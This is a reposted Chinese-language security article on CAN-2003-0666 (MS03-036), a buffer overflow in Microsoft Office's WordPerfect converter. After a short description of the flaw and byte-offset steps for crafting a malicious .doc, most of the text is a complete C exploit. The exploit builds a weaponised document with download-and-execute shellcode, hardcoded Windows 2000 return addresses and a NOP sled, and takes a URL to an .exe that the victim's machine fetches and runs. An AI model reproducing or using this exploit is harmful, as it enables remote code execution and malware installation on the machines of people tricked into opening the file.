Microsoft WordPerfect转换器远程缓冲区溢出漏洞分析

/ns/wz/sys/data/20040109011033.htm

Author: N.E.V.E.R
E-Mail: never@safechina.net
Homepage: http://www.safechina.net


CVE(CAN) ID: CAN-2003-0666

Microsoft Office提供多个转换器允许用户导入和编辑原来不属于Office格式的文件。这些转换器是Office默认安装的一部分,也可以独立存在于Microsoft Office Converter Pack中,这些转换器可以方便的应用于Office早期版本和其他应用系统复杂的环境中,包括Macintosh和第三方应用程序。

Microsoft WordPerfect转换器打开文档时未能正确验证部分参数,远程攻击者可以利用这个漏洞构建恶意WordPerfect文档,诱使用户打开,可触发缓冲区溢出。

当解析WordPerfect文件时,WordPerfect转换器拷贝.doc文件中的数据存储在本地缓冲区中,如果修改.doc文件中的部分字节,就可以指定数据偏移和数据大小,WordPerfect转换器由于没有正确检查包含在.doc文件中的数据大小,拷贝文件中数据到本地缓冲区中时,可导致缓冲区溢出,精心构建恶意WordPerfect文件数据,诱使用户打开,可能以用户权限在系统上执行任意指令。

<*来源:Marc Maiffret (marc@eeye.com)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106261952827573&w=2
http://www.microsoft.com/technet/security/bulletin/MS03-036.asp
*>





Marc Maiffret (marc@eeye.com)提供了如下测试方法:

可以构建如下文档:

1,打开Word,并以wordPerfect 5.0文件保存空文档。
2,使用编辑器打开.doc文档,显示如下信息:

ADDRESS 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
0123456789ABCDEF
----------------------------------------------------------------------------
--
00000000 FF 57 50 43 6D 02 00 00 01 0A 00 00 00 00 00 00
.WPCm...........
...
00000130 00 00 00 00 CD 01 00 00 08 00 02 00 00 00 CD 01
................
...
000001C0 61 75 74 68 6F 72 00 65 45 79 65 00 00 00 00 FB
author.eEye.....
000001D0 FF 05 00 32 00 00 00 00 00 01 01 6C 00 00 00 01
...2.......l....
000001E0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
................
000001F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
................

3,在0x00000139偏移中修改0x00为0x01。
4,在0x000001D8偏移中修改0x00,大于0x80。
5,在0x000001E1到0x000001FF偏移中修改0x00,大于0x01。
6,在文件最后追加垃圾数据。
法文版的利用已经有人公布了,我给个中文版的,和描述的不一样的是,你应该把偏移值为1a1的改为01,偏移值248的改为90,0x251~0x267全部改为ff,然后加上垃圾数据,存盘为2bad.doc,然后利用下面的代码就可以了。






#include 〈stdio.h〉
#include 〈stdlib.h〉
#include 〈string.h〉
#include 〈windows.h〉
#pragma comment(lib,"ws2_32")



#define JUSTROCK "2bad.doc"
#define EIP_OFFSET 0x5bb
#define SHELL_OFFSET 0x5d7



char shellcode[] =
//download and execute shellcode by jeno@vip.371.net
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x3c\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x34\x99\x99\x99\xC3\x12\x6B\xAA"
"\x59\x35\xA4\x01\x99\x99\x99\xEC\x6F\x18\x75\x51\x99\x99\x99\x12"
"\x6D\x10\xCF\xBD\x71\x0C\x99\x99\x99\xAA\x42\x10\x9F\x66\xAF\xF1"
"\x17\xD7\x97\x75\x71\x34\x99\x99\x99\x10\xDF\x91\xF1\xF5\xF5\x99"
"\x99\xF1\xF6\xF7\xB7\xFD\xF1\xEC\xEB\xF5\xF4\xCD\x66\xCF\x91\x10"
"\xDF\x9D\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x11\x99\x99\x99\x10\xDF"
"\x95\x66\xAF\xF1\x01\x67\x13\x97\x71\xE0\x99\x99\x99\x10\xDF\x8D"
"\x66\xAF\xF1\xBC\x29\x66\x5B\x71\xF3\x99\x99\x99\x10\xDF\x81\x66"
"\xEF\x9D\xF1\xAF\x83\xB6\xE9\x71\xC3\x99\x99\x99\x10\xDF\x89\xF3"
"\xFC\xF1\xEA\xB7\xFC\xE1\x10\xFF\x85\x66\xEF\x85\x66\xCF\x81\xAA"
"\x50\xC8\xC8\x66\xEF\x85\x66\xEF\xBD\xC8\x66\xCF\x89\xAA\x50\xC8"
"\x66\xEF\x85\x66\xCF\x8D\x66\xCF\x95\x70\x19\x99\x99\x99\xCC\xCF"
"\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12\xE9\x85"
"\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99\x99\x12"
"\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81\x12\xDC"
"\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A\x44\x7A"
"\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3\x5D\xED"
"\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78\x12\xC3"
"\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A"
"\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99\x71\x50"
"\x67\x66\x66"
//"http://127.0.0.1/b.exe"
//"\x98"
;




//I remarked this, so I can appoint URL myself....



// you may change this shellcode.



void main(int argc, char**argv)
{
if(argc != 4)
{
printf("MS0336.........By N.E.V.E.R at Ada Lab\n\n");
printf(" Man, use %s ...\n\n",argv[0]);
printf(" Work well when PC is Win2K+SP3+Office2K :->\n");
printf(" 0: Win2K + SP0 [use 0xXXXXXXXX]\n");
printf(" 1: Win2K + SP1 [use 0xXXXXXXXX]\n");
printf(" 2: Win2K + SP2 [use 0xXXXXXXXX]\n");
printf(" 3: Win2K + SP3 [use 0x77e629e3]\n");
printf(" 4: Win2K + SP4 [use 0x77e1c256]\n\n");
printf("e.g. %s topsecret.doc 4 http://www.hehe.net/wokao.exe\n",argv[0]);
return;
}



FILE *fp1,*fp2;
if((fp1 = fopen(JUSTROCK,"rb+"))==NULL││(fp2 = fopen(argv[1],"wb+"))==NULL)
{
printf("Where is my .doc?");
return;
}



for(int i = 0; i < EIP_OFFSET; i++)
fputc(fgetc(fp1),fp2);



switch(atoi(argv[2]))
{
case 0:
fwrite("", sizeof(char), 4, fp2);
break;
case 1:
fwrite("", sizeof(char), 4, fp2);
break;
case 2:
fwrite("", sizeof(char), 4, fp2);
break;
case 3:
fwrite("\xE3\x29\xE6\x77", sizeof(char), 4, fp2);
break;
case 4:
fwrite("\x56\xC2\xE1\x77", sizeof(char), 4, fp2);
break;
default:
fwrite("", sizeof(char), 4, fp2);
break;
}



for(i = EIP_OFFSET + 4; i < SHELL_OFFSET; i++)
fputc(0x90,fp2);



fwrite(shellcode, sizeof(char), strlen(shellcode), fp2);
fwrite(argv[3],sizeof(char),strlen(argv[3]),fp2);
fwrite("\x98",sizeof(char),1,fp2);
fclose(fp1);
fclose(fp2);
printf("done...");
}

=========================
文章类型:转载 提交:TomyChen 核查:NetDemon